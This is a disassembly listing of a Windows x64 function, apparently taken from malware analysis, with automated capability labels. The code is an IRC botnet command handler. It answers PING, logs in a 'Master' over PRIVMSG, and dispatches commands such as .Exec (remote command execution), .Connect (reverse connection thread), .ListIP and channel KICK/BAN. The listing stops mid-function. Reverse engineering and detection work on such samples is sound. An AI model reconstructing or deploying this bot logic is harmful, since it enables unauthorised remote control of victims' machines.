Function at 0x14000f7a0
Capabilities:
Check for time delay via gettickcount
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x5ae0
call fcn.140021580
sub rsp, rax
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x5ad0], rax
lea rcx, [rsp + 0x1ad1]
xor edx, edx
mov r8d, 0x3fff
mov qword [rsp + 0x5b10], rbp
mov byte [rsp + 0x1ad0], 0
call fcn.140013cc0
lea rcx, [rsp + 0x441]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x440], 0
call fcn.140013cc0
xor r15d, r15d
mov r13d, r15d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rbx, [0x14002dfa0]
mov r14d, eax
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rbx, [0x14002dfa0]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
mov eax, 0x10624dd3
sub edx, r14d
mul edx
shr edx, 6
cmp edx, 0x258
jb 0x14000f946
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x1ad0]
xor edx, edx
mov r8d, 0x4000
mov r14d, eax
call fcn.140013cc0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x14000f902
mov r9, qword [0x14002df88]
lea r8, str.JOIN__s__s_r_n
lea rcx, [rsp + 0x1ad0]
mov edx, 0x3fff
mov qword [rsp + 0x20], rbx
call fcn.140013ac4
jmp 0x14000f922
mov r9, qword [0x14002df88]
lea r8, str.JOIN__s_r_n
lea rcx, [rsp + 0x1ad0]
mov edx, 0x3fff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x1ad0]
call fcn.1400063e0
test eax, eax
je 0x14000f946
lea rcx, str.Join_Channel_For_Sure_n
call fcn.140002780
lea rcx, [rsp + 0x1ad0]
xor edx, edx
mov r8d, 0x4000
call fcn.140013cc0
mov rcx, qword [0x14002d900]
mov edx, 0x258
call fcn.140001f80
test eax, eax
je 0x14001204c
cmp eax, 0xffffffff
je 0x14001204c
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x1ad0]
mov r8d, 0x4000
call fcn.140001eb0
test eax, eax
jle 0x140012034
lea rdx, str.PING_:
lea rcx, [rsp + 0x1ad0]
mov r8d, 6
call fcn.140013a68
test eax, eax
jne 0x14000fa2b
cmp dword [0x14002dfe8], r15d
je 0x14000f9da
lea rdx, [rsp + 0x1ad0]
lea rcx, str.PING:__s
call fcn.14001347c
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x1ad0]
mov byte [rsp + 0x1ad1], 0x4f
call fcn.1400063e0
test eax, eax
je 0x140012069
cmp dword [0x14002dfe8], r15d
je 0x14000fa1b
lea rdx, [rsp + 0x1ad0]
lea rcx, str.PONG:__s
call fcn.14001347c
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f888
cmp dword [0x14002dfe8], r15d
je 0x14000fa48
lea rdx, [rsp + 0x1ad0]
lea rcx, [0x140022bcc]
call fcn.14001347c
lea rdx, str.___:_n_r
lea rcx, [rsp + 0x1ad0]
call fcn.140014024
mov esi, r15d
mov r12, r15
test rax, rax
je 0x14000fa84
mov qword [rsp + r12*8 + 0x40], rax
lea rdx, str.___:_n_r
xor ecx, ecx
inc esi
inc r12
call fcn.140014024
cmp esi, 0x40
jb 0x14000fa62
cmp esi, 5
jae 0x14000fa9a
lea rcx, str.Unknow_Message_n
call fcn.140002780
jmp 0x14000f888
lea rcx, [rsp + 0x440]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
mov rdi, qword [rsp + 0x58]
lea rdx, str.PRIVMSG
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000feef
lea rdx, str.PART
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fb57
lea rdx, str.QUIT
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fb57
cmp dword [0x14002d908], r15d
je 0x14000fb90
lea rdx, str.NICK
mov rcx, rdi
call fcn.140013fc4
test eax, eax
jne 0x14000fb90
mov rdx, qword [rsp + 0x40]
lea rcx, [0x14002d90c]
call fcn.140013fc4
test eax, eax
jne 0x14000fb90
lea rcx, [0x14002d90c]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
mov rdx, qword [rsp + 0x60]
lea rcx, [0x14002d90c]
mov r8d, 0x7f
call fcn.140013620
jmp 0x14000fb90
cmp dword [0x14002d908], r15d
je 0x14000fb90
mov rdx, qword [rsp + 0x40]
lea rcx, [0x14002d90c]
call fcn.140013fc4
test eax, eax
jne 0x14000fb90
lea rcx, [0x14002d90c]
xor edx, edx
mov r8d, 0x80
mov dword [0x14002d908], r15d
call fcn.140013cc0
lea rdx, str.KICK
mov rcx, rdi
call fcn.140013fc4
test eax, eax
jne 0x14000fc5a
cmp esi, 5
jbe 0x14000f888
mov rdx, qword [rsp + 0x68]
mov rcx, qword [0x14002df90]
call fcn.140013fc4
test eax, eax
jne 0x14000f888
lea rcx, [rsp + 0x440]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x14000fc19
mov r9, qword [0x14002df88]
lea r8, str.JOIN__s__s_r_n
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
mov qword [rsp + 0x20], rbx
call fcn.140013ac4
jmp 0x14000fc39
mov r9, qword [0x14002df88]
lea r8, str.JOIN__s_r_n
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
jne 0x14000f888
jmp 0x140012069
mov rdi, qword [rsp + 0x48]
lea rdx, [0x140027788]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fe5e
lea rdx, [0x140027784]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fe5e
lea rdx, [0x140027780]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fddf
lea rdx, [0x14002777c]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fddf
lea rdx, [0x140027778]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fd1e
lea rdx, [0x140027774]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fd1e
lea rdx, [0x140027770]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fd1e
lea rdx, [0x14002776c]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x14000fd1e
lea rdx, [0x140027768]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
jne 0x14000f888
lea rcx, [rsp + 0x440]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x14000fd6e
mov r9, qword [0x14002df88]
lea r8, str.JOIN__s__s_r_n
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
mov qword [rsp + 0x20], rbx
call fcn.140013ac4
jmp 0x14000fd8e
mov r9, qword [0x14002df88]
lea r8, str.JOIN__s_r_n
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Rejoin_Channel_n
call fcn.140002780
inc r13d
cmp r13d, 0x14
jb 0x14000f888
lea rcx, str.Rejoin_Times_End_n
call fcn.140002780
jmp 0x140012069
lea rcx, [rsp + 0x1ad0]
xor edx, edx
mov r8d, 0x4000
call fcn.140013cc0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r9, qword [0x14002df90]
mov ecx, eax
mov eax, 0x4ec4ec4f
lea r8, str.NICK__s__c_r_n
mul ecx
shr edx, 3
imul edx, edx, 0x1a
sub ecx, edx
mov edx, 0x3fff
add ecx, 0x41
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x1ad0]
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x1ad0]
call fcn.1400063e0
test eax, eax
je 0x140012069
mov ecx, WSAAsyncSelect
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f888
lea rcx, [rsp + 0x1ad0]
xor edx, edx
mov r8d, 0x4000
call fcn.140013cc0
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
je 0x14000feae
mov r9, qword [0x14002df88]
lea r8, str.JOIN__s__s_r_n
lea rcx, [rsp + 0x1ad0]
mov edx, 0x3fff
mov qword [rsp + 0x20], rbx
call fcn.140013ac4
jmp 0x14000fece
mov r9, qword [0x14002df88]
lea r8, str.JOIN__s_r_n
lea rcx, [rsp + 0x1ad0]
mov edx, 0x3fff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x1ad0]
call fcn.1400063e0
test eax, eax
jne 0x14000f888
jmp 0x140012069
cmp esi, 6
jb 0x14000f888
mov rbp, qword [rsp + 0x68]
lea rdx, str..Reset
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14000ff6b
cmp esi, 6
jbe 0x14000f888
mov rdx, qword [0x14002df98]
mov rcx, qword [rsp + 0x70]
call fcn.140013fc4
test eax, eax
jne 0x14000f888
cmp dword [0x14002d908], r15d
je 0x14000f888
lea rcx, [0x14002d90c]
xor edx, edx
mov r8d, 0x80
mov dword [0x14002d908], r15d
call fcn.140013cc0
mov r9, qword [rsp + 0x60]
lea r8, str.PRIVMSG__s_:Rest_Successful_r_n
jmp 0x14000fc27
lea rdx, str..Connect
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14001007c
cmp esi, 8
jne 0x14000f888
cmp dword [0x14002d908], r15d
je 0x14000f888
lea r8d, [rax + 0x7f]
lea rcx, [rsp + 0x8c1]
xor edx, edx
mov byte [rsp + 0x8c0], r15b
call fcn.140013cc0
mov rdx, qword [rsp + 0x78]
mov r9, qword [rsp + 0x70]
mov qword [rsp + 0x20], rdx
lea r8, str.Connect__s__s
lea edx, [rsi + 0x78]
lea rcx, [rsp + 0x8c0]
call fcn.140013ac4
lea r8d, [rsi + 0x78]
lea rcx, [rsp + 0x940]
xor edx, edx
call fcn.140013cc0
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x8c0]
test eax, eax
cmove rbx, rdi
call fcn.14000a4e0
test eax, eax
je 0x140010038
lea r8, str.PRIVMSG__s_:Create_Reverse_Thread_Successfully_r_n
lea edx, [rsi + 0x77]
lea rcx, [rsp + 0x940]
mov r9, rbx
call fcn.140013ac4
jmp 0x140010054
lea r8, str.PRIVMSG__s_:Fail_To_Create_Reverse_Thread_r_n
lea rcx, [rsp + 0x940]
mov r9, rbx
mov edx, 0x7f
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x940]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Ram
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010181
cmp esi, 7
jne 0x14000f888
cmp dword [0x14002d908], r15d
je 0x14000f888
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call fcn.140001270
test eax, eax
je 0x14000f888
mov rcx, rdi
call fcn.140014018
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov edi, eax
call fcn.140002b70
mov ebx, dword [rsp + 0x38]
cmp ebx, edi
jb 0x14000f881
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
jne 0x14001012f
mov eax, dword [rsp + 0x30]
lea r8, str.PRIVMSG__s_:_d_MB____d_MB_r_n
lea rcx, [rsp + 0x440]
mov dword [rsp + 0x28], eax
mov r9, rdi
mov edx, 0x3ff
mov dword [rsp + 0x20], ebx
call fcn.140013ac4
jmp 0x140010159
mov eax, dword [rsp + 0x30]
mov r9, qword [rsp + 0x40]
lea r8, str.PRIVMSG__s_:_d_MB____d_MB_r_n
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
mov dword [rsp + 0x20], ebx
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..SLogin
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010363
cmp esi, 8
je 0x1400101a6
cmp esi, 9
jne 0x14000f888
lea rcx, [rsp + 0x9c0]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
lea rax, [0x14002e000]
lea r9, [rsp + 0x9c0]
mov qword [rsp + 0x28], rax
lea rdx, str.DefaultUserName
lea rcx, str.GlobalSettings
xor r8d, r8d
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x140010221
lea rcx, [rsp + 0x9c0]
xor edx, edx
mov r8d, 0x104
call fcn.140013cc0
lea rcx, [rsp + 0x9c0]
mov edx, 0x104
call fcn.140002a50
test eax, eax
je 0x14000f888
mov rdx, qword [rsp + 0x78]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x9c0]
call fcn.140013a68
test eax, eax
jne 0x14000f888
mov rdx, qword [0x14002df98]
mov rcx, qword [rsp + 0x70]
call fcn.140013fc4
test eax, eax
jne 0x14000f888
cmp dword [0x14002d908], r15d
jne 0x1400102f3
mov rdi, qword [rsp + 0x40]
lea r8d, [rax + 0x7f]
lea rcx, [0x14002d90c]
mov rdx, rdi
mov dword [0x14002d908], 1
call fcn.140013620
mov rbx, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rdx, rbx
call fcn.140013fc4
test eax, eax
jne 0x1400102d0
lea r8, str.PRIVMSG__s_:Master__s_Login_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x14001031b
lea r8, str.PRIVMSG__s_:Master__s_Login_r_n
lea rcx, [rsp + 0x440]
mov r9, rdi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x14001031b
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
lea r8, str.PRIVMSG__s_:Master__s_Login_Already_r_n
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
mov rcx, qword [rsp + r12*8 + 0x38]
lea rdx, [0x140027600]
call fcn.140013fc4
lea rbx, [0x14002dfa0]
test eax, eax
je 0x14000f888
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Login
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010477
cmp esi, 7
je 0x140010388
cmp esi, 8
jne 0x14000f888
mov rdx, qword [0x14002df98]
mov rcx, qword [rsp + 0x70]
call fcn.140013fc4
test eax, eax
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov rsi, rbx
test eax, eax
cmove rsi, rdi
cmp dword [0x14002d908], r15d
jne 0x14001040e
lea rcx, [0x14002d90c]
mov r8d, 0x7f
mov rdx, rbx
mov dword [0x14002d908], 1
call fcn.140013620
lea r8, str.PRIVMSG__s_:Master__s_Login_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rbx
call fcn.140013ac4
jmp 0x14001042f
lea r8, str.PRIVMSG__s_:Master__s_Login_Already_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rbx
call fcn.140013ac4
mov rcx, qword [rsp + r12*8 + 0x38]
lea rdx, [0x140027600]
call fcn.140013fc4
lea rbx, [0x14002dfa0]
test eax, eax
je 0x14000f888
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
cmp dword [0x14002d908], r15d
je 0x14000f888
lea rdx, str..TUU
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14001051b
cmp esi, 6
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
cmove rbx, rdi
call fcn.140002ff0
mov edi, eax
call fcn.140002ef0
lea r8, str.PRIVMSG__s_:UDP_User:__d____d_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..KPC
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x1400105f7
cmp esi, 7
je 0x140010540
cmp esi, 6
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
cmove rbx, rdi
mov edi, r15d
cmp esi, 7
jne 0x140010582
mov r8, qword [rsp + 0x70]
mov rcx, r8
call fcn.140001270
test eax, eax
je 0x140010582
mov rcx, r8
call fcn.140014018
mov edi, eax
mov ecx, edi
call fcn.140003960
test eax, eax
je 0x1400105b3
lea r8, str.PRIVMSG__s_:_d_Pending_Connections_____d_Seconds__Killed_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.140013ac4
jmp 0x1400105cf
lea r8, str.PRIVMSG__s_:No_Pending_Connection_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..TPC
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x1400106d3
cmp esi, 7
je 0x14001061c
cmp esi, 6
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
cmove rbx, rdi
mov edi, r15d
cmp esi, 7
jne 0x14001065e
mov r8, qword [rsp + 0x70]
mov rcx, r8
call fcn.140001270
test eax, eax
je 0x14001065e
mov rcx, r8
call fcn.140014018
mov edi, eax
mov ecx, edi
call fcn.140002f50
test eax, eax
je 0x14001068f
lea r8, str.PRIVMSG__s_:_d_Pending_Connections_____d_Seconds__r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.140013ac4
jmp 0x1400106ab
lea r8, str.PRIVMSG__s_:No_Pending_Connection_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Timer
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010729
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
cmove rbx, rdi
cmp esi, 6
jne 0x14000f878
mov rcx, qword [0x14002d900]
mov rdx, rbx
call fcn.140009c20
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Handle
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14001077f
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
cmove rbx, rdi
cmp esi, 6
jne 0x14000f86f
mov rcx, qword [0x14002d900]
mov rdx, rbx
call fcn.140009cf0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Exec
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010912
cmp esi, 6
jbe 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x16d0]
mov r8d, 0x400
test eax, eax
cmove rbx, rdi
xor edx, edx
call fcn.140013cc0
mov r9, qword [rsp + 0x70]
lea r8, [0x14002278c]
lea rcx, [rsp + 0x16d0]
mov edx, 0x3ff
call fcn.140013ac4
mov r11d, 7
cmp esi, r11d
jbe 0x14001088c
movzx edx, word [0x140022b3c]
lea r10, [rsp + 0x78]
nop dword [rax]
mov r9, qword [r10]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r9
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x16d0]
not rcx
lea r8, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
dec rcx
add r8, rcx
cmp r8, 0x3f6
jae 0x14001088c
or rcx, 0xffffffffffffffff
lea r8, [rsp + 0x16d0]
mov rdi, r8
repne scasb al, byte [rdi]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], dx
mov rdi, r8
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140010870
inc r11d
add r10, 8
cmp r11d, esi
jb 0x140010810
xor edx, edx
lea rcx, [rsp + 0x841]
mov byte [rsp + 0x840], r15b
lea r8d, [rdx + 0x7f]
call fcn.140013cc0
lea rcx, [rsp + 0x16d0]
call fcn.140005510
test eax, eax
je 0x1400108d6
lea r8, str.PRIVMSG__s_:Execute_Command_Successfully_r_n
lea rcx, [rsp + 0x840]
mov r9, rbx
mov edx, 0x7f
call fcn.140013ac4
jmp 0x1400108f2
lea r8, str.PRIVMSG__s_:Fail_To_Execute_Command_r_n
lea rcx, [rsp + 0x840]
mov r9, rbx
mov edx, 0x7f
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x840]
call fcn.1400063e0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..ListIP
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010964
cmp esi, 6
jne 0x140010964
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov rcx, qword [0x14002d900]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140009760
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Online
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010a4e
mov ebx, r15d
cmp esi, 7
jne 0x1400109ab
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call fcn.140001270
lea rbx, [0x14002dfa0]
test eax, eax
je 0x14000f888
mov rcx, rdi
call fcn.140014018
mov ebx, eax
jmp 0x1400109b4
cmp esi, 6
jne 0x14000f866
call fcn.140006410
cmp eax, ebx
lea rbx, [0x14002dfa0]
mov edi, eax
jb 0x14000f888
mov rbx, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rdx, rbx
call fcn.140013fc4
test eax, eax
jne 0x140010a04
lea r8, str.PRIVMSG__s_:Online__d_Days_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
mov dword [rsp + 0x20], edi
call fcn.140013ac4
jmp 0x140010a26
mov r9, qword [rsp + 0x40]
lea r8, str.PRIVMSG__s_:Online__d_Days_r_n
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
mov dword [rsp + 0x20], edi
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, [0x140027478]
mov rcx, rbp
call fcn.140013fc4
test eax, eax
je 0x140011f79
lea rdx, str..DEOP
mov rcx, rbp
call fcn.140013fc4
test eax, eax
je 0x140011f79
lea rdx, str..BAN
mov rcx, rbp
call fcn.140013fc4
test eax, eax
je 0x140011f79
lea rdx, str..UNBAN
mov rcx, rbp
call fcn.140013fc4
test eax, eax
je 0x140011f79
lea rdx, str..KICK
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010b24
cmp esi, 7
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov r9, qword [0x14002df88]
mov rcx, qword [0x14002d900]
test eax, eax
lea rax, [0x140027454]
lea r8, str.KICK
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x70]
cmove rbx, rdi
mov rdx, rbx
mov qword [rsp + 0x20], rax
call fcn.140009f10
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..PRIVMSG
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010c7c
cmp esi, 7
jb 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbp, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0xad1]
mov r8d, 0x3ff
test eax, eax
mov byte [rsp + 0xad0], r15b
cmove rbp, rdi
xor edx, edx
call fcn.140013cc0
mov edx, 0x3fe
mov r10d, 6
sub edx, esi
cmp esi, r10d
jbe 0x140010c3a
movzx r8d, word [0x140022b3c]
mov ebx, edx
lea r11, [rsp + 0x70]
nop word [rax + rax]
mov r9, qword [r11]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r9
repne scasb al, byte [rdi]
lea rdi, [rsp + 0xad0]
not rcx
lea rdx, [rcx - 1]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
dec rcx
add rdx, rcx
cmp rdx, rbx
jae 0x140010c3a
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xad0]
repne scasb al, byte [rdi]
xor ecx, ecx
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140010c00
inc r10d
cmp r10d, esi
jae 0x140010c2d
lea rdi, [rsp + 0xad0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov word [rdi - 1], r8w
add r11, 8
cmp r10d, esi
jb 0x140010bb0
mov r9, qword [0x14002df88]
mov rcx, qword [0x14002d900]
lea rax, str.No_Way
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xad0]
lea r8, str.PRIVMSG
mov rdx, rbp
mov qword [rsp + 0x20], rax
call fcn.140009f10
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..MGI
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010dcb
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
cmove rbx, rdi
cmp esi, 8
jne 0x140010d87
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call fcn.140001270
test eax, eax
je 0x140010d43
mov rcx, rdi
call fcn.140014018
lea ecx, [rax - 1]
cmp ecx, 0xb
ja 0x140010cff
mov r9, qword [rsp + 0x78]
mov rcx, qword [0x14002d900]
mov r8d, eax
mov rdx, rbx
call fcn.14000ea60
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea r8, str.PRIVMSG__s_:Index_Out_Of_Bound_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea r8, str.PRIVMSG__s_:Invalid_Index_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
